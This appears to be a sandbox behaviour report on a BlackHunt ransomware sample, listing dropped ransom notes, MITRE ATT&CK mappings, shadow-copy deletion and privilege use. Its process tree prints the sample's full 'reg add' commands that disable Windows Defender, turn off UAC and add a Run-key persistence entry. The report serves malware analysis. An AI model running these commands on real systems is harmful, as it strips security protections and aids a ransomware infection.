File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\Honolulu	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.e4.rcp_1.3.100.v20141007-2033\feature.properties	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.director.app.nl_zh_4.4.0.v20140623020002.jar	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe
File created	C:\Program Files\Java\jre7\lib\amd64\#BlackHunt_Private.key	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe
File created	C:\Program Files\VideoLAN\VLC\locale\cs\LC_MESSAGES\#BlackHunt_ReadMe.txt	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe
File created	C:\Program Files\VideoLAN\VLC\locale\mai\LC_MESSAGES\#BlackHunt_ReadMe.txt	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe
File created	C:\Program Files (x86)\Google\Update\Download\{8A69D345-D564-463C-AFF1-A69D9E530F96}\106.0.5249.119\#BlackHunt_ReadMe.hta	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\LayeredTitles\NavigationUp_ButtonGraphic.png	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\Modules\org-netbeans-modules-options-keymap.xml	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\http\css\mobile.css	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\VDKHome\ENU\Vdk10.lng	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\end_review.gif	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\server_ok.gif	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.jetty.util_8.1.14.v20131031.jar	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\schema\#BlackHunt_ReadMe.hta	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\rjmx.jar	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\ext\locale\updater_ja.jar	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\CENTEURO.TXT	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Thimphu	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe
File created	C:\Program Files\Java\jre7\#BlackHunt_ReadMe.hta	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.net.nl_ja_4.4.0.v20140623020002.jar	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Etc\GMT-13	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\Modules\org-netbeans-modules-keyring-fallback.xml	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Antarctica\Palmer	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe
File created	C:\Program Files\VideoLAN\VLC\locale\km\LC_MESSAGES\#BlackHunt_ReadMe.txt	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\km\LC_MESSAGES\vlc.mo	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\playlist\youtube.luac	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Vignette\softedges.png	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\#BlackHunt_ReadMe.hta	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe
File created	C:\Program Files\VideoLAN\VLC\locale\he\#BlackHunt_ReadMe.txt	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\javafx.properties	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Memories\Notes_content-background.png	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\#BlackHunt_ReadMe.hta	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-openide-dialogs.jar	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\config\Modules\org-netbeans-core-execution.xml_hidden	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe
File opened for modification	C:\Program Files\Java\jre7\lib\fonts\LucidaTypewriterRegular.ttf	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\VDKHome\ENU\VDK10.RSD	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe
File opened for modification	C:\Program Files\7-Zip\Lang\nb.txt	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\db\lib\derbynet.jar	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\lib\deployed\#BlackHunt_ReadMe.hta	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe
File created	C:\Program Files\Java\jre7\bin\server\#BlackHunt_ReadMe.txt	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Etc\GMT+3	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
568	schtasks.exe

Interacts with shadow copies 2 TTPs 6 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
2788	vssadmin.exe
1048	vssadmin.exe
2204	vssadmin.exe
1536	vssadmin.exe
848	vssadmin.exe
2276	vssadmin.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
3516	taskkill.exe

Modifies registry class 10 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
3524	PING.EXE

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
2540	mshta.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

description	pid	Process
Token: SeDebugPrivilege	2532	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe
Token: SeRestorePrivilege	2532	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe
Token: SeBackupPrivilege	2532	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe
Token: SeTakeOwnershipPrivilege	2532	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe
Token: SeAuditPrivilege	2532	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe
Token: SeSecurityPrivilege	2532	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe
Token: SeIncBasePriorityPrivilege	2532	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe
Token: SeBackupPrivilege	3992	vssvc.exe
Token: SeRestorePrivilege	3992	vssvc.exe
Token: SeAuditPrivilege	3992	vssvc.exe
Token: SeBackupPrivilege	1516	wbengine.exe
Token: SeRestorePrivilege	1516	wbengine.exe
Token: SeSecurityPrivilege	1516	wbengine.exe
Token: SeSecurityPrivilege	3484	wevtutil.exe
Token: SeBackupPrivilege	3484	wevtutil.exe
Token: SeSecurityPrivilege	3700	wevtutil.exe
Token: SeBackupPrivilege	3700	wevtutil.exe
Token: SeSecurityPrivilege	2596	wevtutil.exe
Token: SeBackupPrivilege	2596	wevtutil.exe
Token: SeSecurityPrivilege	888	wevtutil.exe
Token: SeBackupPrivilege	888	wevtutil.exe
Token: SeSecurityPrivilege	1032	wevtutil.exe
Token: SeBackupPrivilege	1032	wevtutil.exe
Token: SeDebugPrivilege	3516	taskkill.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2532 wrote to memory of 2276	2532	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe	29
PID 2532 wrote to memory of 2276	2532	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe	29
PID 2532 wrote to memory of 2276	2532	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe	29
PID 2532 wrote to memory of 2276	2532	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe	29
PID 2532 wrote to memory of 2436	2532	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe	31
PID 2532 wrote to memory of 2436	2532	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe	31
PID 2532 wrote to memory of 2436	2532	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe	31
PID 2532 wrote to memory of 2436	2532	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe	31
PID 2532 wrote to memory of 2812	2532	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe	32
PID 2532 wrote to memory of 2812	2532	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe	32
PID 2532 wrote to memory of 2812	2532	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe	32
PID 2532 wrote to memory of 2812	2532	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe	32
PID 2276 wrote to memory of 2836	2276	cmd.exe	35
PID 2276 wrote to memory of 2836	2276	cmd.exe	35
PID 2276 wrote to memory of 2836	2276	cmd.exe	35
PID 2532 wrote to memory of 2892	2532	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe	36
PID 2532 wrote to memory of 2892	2532	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe	36
PID 2532 wrote to memory of 2892	2532	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe	36
PID 2532 wrote to memory of 2892	2532	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe	36
PID 2532 wrote to memory of 2776	2532	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe	38
PID 2532 wrote to memory of 2776	2532	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe	38
PID 2532 wrote to memory of 2776	2532	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe	38
PID 2532 wrote to memory of 2776	2532	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe	38
PID 2532 wrote to memory of 2868	2532	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe	40
PID 2532 wrote to memory of 2868	2532	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe	40
PID 2532 wrote to memory of 2868	2532	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe	40
PID 2532 wrote to memory of 2868	2532	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe	40
PID 2532 wrote to memory of 2448	2532	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe	43
PID 2532 wrote to memory of 2448	2532	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe	43
PID 2532 wrote to memory of 2448	2532	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe	43
PID 2532 wrote to memory of 2448	2532	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe	43
PID 2436 wrote to memory of 2284	2436	cmd.exe	42
PID 2436 wrote to memory of 2284	2436	cmd.exe	42
PID 2436 wrote to memory of 2284	2436	cmd.exe	42
PID 2532 wrote to memory of 2900	2532	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe	130
PID 2532 wrote to memory of 2900	2532	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe	130
PID 2532 wrote to memory of 2900	2532	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe	130
PID 2532 wrote to memory of 2900	2532	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe	130
PID 2532 wrote to memory of 2800	2532	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe	141
PID 2532 wrote to memory of 2800	2532	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe	141
PID 2532 wrote to memory of 2800	2532	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe	141
PID 2532 wrote to memory of 2800	2532	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe	141
PID 2532 wrote to memory of 2792	2532	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe	49
PID 2532 wrote to memory of 2792	2532	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe	49
PID 2532 wrote to memory of 2792	2532	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe	49
PID 2532 wrote to memory of 2792	2532	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe	49
PID 2532 wrote to memory of 2732	2532	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe	52
PID 2532 wrote to memory of 2732	2532	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe	52
PID 2532 wrote to memory of 2732	2532	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe	52
PID 2532 wrote to memory of 2732	2532	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe	52
PID 2532 wrote to memory of 2636	2532	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe	53
PID 2532 wrote to memory of 2636	2532	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe	53
PID 2532 wrote to memory of 2636	2532	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe	53
PID 2532 wrote to memory of 2636	2532	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe	53
PID 2532 wrote to memory of 2676	2532	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe	54
PID 2532 wrote to memory of 2676	2532	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe	54
PID 2532 wrote to memory of 2676	2532	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe	54
PID 2532 wrote to memory of 2676	2532	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe	54
PID 2892 wrote to memory of 2740	2892	cmd.exe	132
PID 2892 wrote to memory of 2740	2892	cmd.exe	132
PID 2892 wrote to memory of 2740	2892	cmd.exe	132
PID 2532 wrote to memory of 2204	2532	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe	146
PID 2532 wrote to memory of 2204	2532	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe	146
PID 2532 wrote to memory of 2204	2532	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe	146

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe
"C:\Users\Admin\AppData\Local\Temp\763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe"
1⤵
- UAC bypass
- Checks whether UAC is enabled
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2532
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2276
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
    3⤵
    - Modifies registry class
    PID:2836
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2436
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:2284
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  PID:2812
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
    3⤵
    - Modifies registry class
    PID:1220
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2892
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    PID:2740
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  PID:2776
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    - Adds Run key to start application
    PID:3068
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  PID:2868
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    PID:2156
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  PID:2448
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:1156
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  PID:2900
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
    3⤵
    PID:2876
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  PID:2800
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
    3⤵
    PID:1668
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  PID:2792
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
    3⤵
    PID:2392
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  PID:2732
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
    3⤵
    PID:2708
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  PID:2636
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
    3⤵
    PID:2900
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:2676
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
    3⤵
    PID:844
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  PID:2204
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
    3⤵
    PID:320
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:2020
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
    3⤵
    PID:3000
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
